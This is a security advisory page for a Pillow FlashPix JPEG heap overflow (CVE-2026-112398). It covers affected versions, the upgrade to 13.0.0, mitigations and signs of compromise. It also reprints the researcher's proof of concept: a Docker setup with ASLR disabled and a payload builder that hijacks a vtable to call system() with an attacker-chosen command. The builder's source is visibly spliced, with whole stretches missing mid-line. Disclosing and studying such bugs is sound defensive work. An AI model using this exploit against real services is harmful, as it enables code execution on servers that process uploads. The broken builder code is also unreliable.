NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-112398: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution

criticalCVSS 4.0 9.2GHSA-5x8w-8jj5-q52h

Pillow's FlashPix (FPX) JPEG decoder has a heap buffer overflow that gives code execution when an application opens one crafted file with `Image.open()`. It applies when the optional `olefile` package is installed. The file type is detected by content, so no user interaction is needed on an upload service. Versions up to 12.3.0 are affected; fixed in 13.0.0.

Published Oct 23, 2026 · Analysis Oct 23, 2026

What an attacker can do

FpxImagePlugin decodes FlashPix files, which are OLE2 compound documents. With olefile installed, Image.open() recognizes them by the OLE2 magic bytes regardless of file extension. For a JPEG-compressed subimage, the plugin builds a jpeg decode tile and takes the rawmode from attacker-controlled FPX color IDs. A color ID can map to LA, which sizes the output buffer at 2 bytes per pixel.

In JpegDecode.c, rawmodes like LA and YCC;P fall to a fallback branch that sets JCS_UNKNOWN, so libjpeg does no color conversion and writes one byte per component per pixel. The attacker sets the embedded JPEG to 4 components, so jpeg_read_scanlines writes 4 * width bytes into a 2 * width buffer. Both length (image width) and content are attacker-controlled.

The advisory's proof of concept turns this into command execution on stock Pillow 12.2.0 on x86_64 Ubuntu. It overwrites an adjacent object's type pointer with a fake vtable so that PyBuffer_Release calls system. That demo disables ASLR in a pinned Docker image, so a real attack needs more work. The impact is command execution as the user running the image processing. Image upload, thumbnail, avatar and conversion services are the main exposure, since the trigger is a normal Image.open() and load() on an untrusted file.

Who is affected

Affected: pillow up to and including 12.3.0, only where olefile is installed, since that is what enables FPX detection. Check both packages:

pip show pillow olefile

If olefile is absent, Pillow does not open FPX files this way.

pillow

Ecosystem
PyPI
Affected
<= 12.3.0
Fixed in
13.0.0
Check
pip show pillow

How to fix it

Upgrade to Pillow 13.0.0.

pip install --upgrade "pillow>=13.0.0"

The sources name no workaround. If you cannot upgrade now, uninstall olefile if nothing else needs it, and parse untrusted uploads in a sandboxed low-privilege process. You can also call Image.open(path, formats=["JPEG", "PNG"]) to limit the formats Pillow tries on untrusted input.

How to tell if you were hit

Look in upload storage for files starting with the OLE2 magic bytes D0 CF 11 E0 A1 B1 1A E1 that were named like images. Check image workers for crashes or abort messages such as corrupted size vs. prev_size, and for unexpected child processes spawned by the Python process. Review outbound connections from the image-processing service.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Credits

Researcher: Alex Bouffard ([email protected])

Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with Image.open(). The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional olefile dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).

Details

FpxImagePlugin decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

Image.open() auto-detects them from the OLE2 magic D0CF11E0... whenever the optional olefile package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (compression == 2), the plugin builds a "jpeg" decode tile and derives the (rawmode, jpegmode) pair from attacker-controlled FPX color IDs through the MODES table (`src/PIL/FpxImagePlugin.py` L25-L32):

MODES = {
    ...
    (0x00018000, 0x00017FFE): ("RGBA", "LA"),                # rawmode "LA"  (2 bytes/pixel)
    ...
    (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),  # rawmode "YCC;P"
}

The Imaging output buffer for the tile is sized for the rawmode (here "LA" = 2 bytes/pixel) (`src/decode.c` L223-L226):

state->bytes = (state->bits * state->xsize + 7) / 8;   // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);

In JpegDecode.c the rawmode string is mapped to a libjpeg out_color_space. Recognized modes (CMYK, YCbCr, YCbCrK, and so on) get a concrete colorspace, but "LA" and "YCC;P" are not recognized, so control reaches the fallback branch (`src/libImaging/JpegDecode.c` L219-L221):

/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space  = JCS_UNKNOWN;

Under JCS_UNKNOWN, libjpeg performs no color conversion and emits cinfo.num_components bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So jpeg_read_scanlines writes 4 * width bytes per row into a buffer allocated for only 2 * width bytes (`src/libImaging/JpegDecode.c` L252):

ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);   // writes 4*W into a 2*W buffer

This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about 2 * width bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python bytes object's ob_type with a pointer to a fake PyTypeObject / PyBufferProcs vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, PyBuffer_Release walks ob_type -> tp_as_buffer -> bf_releasebuffer and executes call *rax; the PoC points that at system@plt (fixed, the interpreter binary is non-PIE) with rdi set to the command string, yielding command execution.

PoC

To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).

The source code for the payload builder make_payload.py is in [Annex B](#annex-b-payload-builder-source).

vulnerable.py is the program under test, a one-liner that opens the file it is given:

#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()

The payload is a standalone .fpx file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run make_payload.py inside the same container here purely for convenience, so its baked-in addresses (--offset, system@plt) match this pinned image. The payload redirects the hijacked indirect call to system@plt (0x4206c0, fixed because the interpreter binary is non-PIE) with a baked-in command:

$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'

Then open it with vulnerable.py:

$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size

Image.open() of the crafted file runs the baked command via system("id"): command execution as the user running the image processing (root in the container).

The trailing corrupted size vs. prev_size is glibc aborting during interpreter teardown over the corrupted heap, after id has already run.

The builder writes the command inline at the hijacked rdi, so --cmd is limited to 7 bytes (for example id, id;w). --offset and system@plt are constants of the pinned, ASLR-disabled image and hold across runs of it.

Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional olefile dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal Image.open() / load, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.

Annex A: Docker setup

The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (setarch -R) to reduce the system knowledge requirements. The single --security-opt seccomp=unconfined flag on docker run is required only because turning ASLR off uses the personality() syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.

1. Build the image. Put vulnerable.py (PoC) and make_payload.py ([Annex B](#annex-b-payload-builder-source)) in a directory with this Dockerfile:

FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates \
        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
    && rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
    && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest

2. Start the (ASLR-disabled) container shell with the scripts mounted:

docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Annex B: payload builder source

make_payload.py:

#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
  --crash      flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image

W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack(" iterate to converge)
    # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
    src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
    for off, t in targets:
        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
    for it in range(iters):
        dec = decode_row(jpeg(src)); bad = 0
        for off, t in targets:
            for i, v in enumerate(t):
                if dec[off + i] != v:
                    bad += 1
                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
        if not bad: break
    return jpeg(src), it, bad

def maxid_for(w, h):
    s, i = max(w, h), 1
    while s > 64: s //= 2; i += 1
    return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID

def image_contents():
    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -> rawmode "LA"
    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
    voff = 8 + 8 * len(props); idx = vals = b""
    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
    body = o32(len(props)) + idx + vals
    return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
            + o32(48) + o32(len(body) + 4) + body)

def subimage_header():
    b = bytearray(80)
    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
                 (56, 36), (60, 16), (64, 0), (72, 2)]:
        struct.pack_into("buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
    ap.add_argument("--target", type=xhex, default=SENTINEL,
                    help="value called via the hijacked vtable; pass %#x (system@plt) for "
                         "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
    ap.add_argument("--cmd", default="id",
                    help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
    a = ap.parse_args()

    if a.crash:
        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
        # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
        print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
              "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
        return

    if len(a.cmd.encode()) > 7:
        sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
    S = a.heap_base + a.offset
    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET
    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
          (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")]      # obj+0 -> rdi for system()
    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -> spray B at +0xa0..+8
    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
    jpg, it, bad = craft(tg)
    build_fpx(jpg, a.out)
    print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
          % (a.out, S, a.target, a.cmd, it, bad))
    print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))

if __name__ == "__main__":
    main()

Credited to pebwalker.

Questions

Am I affected if olefile is not installed?

The advisory ties detection of FPX files to the optional olefile dependency. Without it, Image.open() does not recognize them as FPX.

Does the file extension matter for CVE-2026-112398?

No. Pillow identifies the file by its OLE2 magic bytes, so a crafted file can carry any extension.

Is it exploited in the wild?

No source reports exploitation. The published proof of concept works against a pinned image with ASLR turned off.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology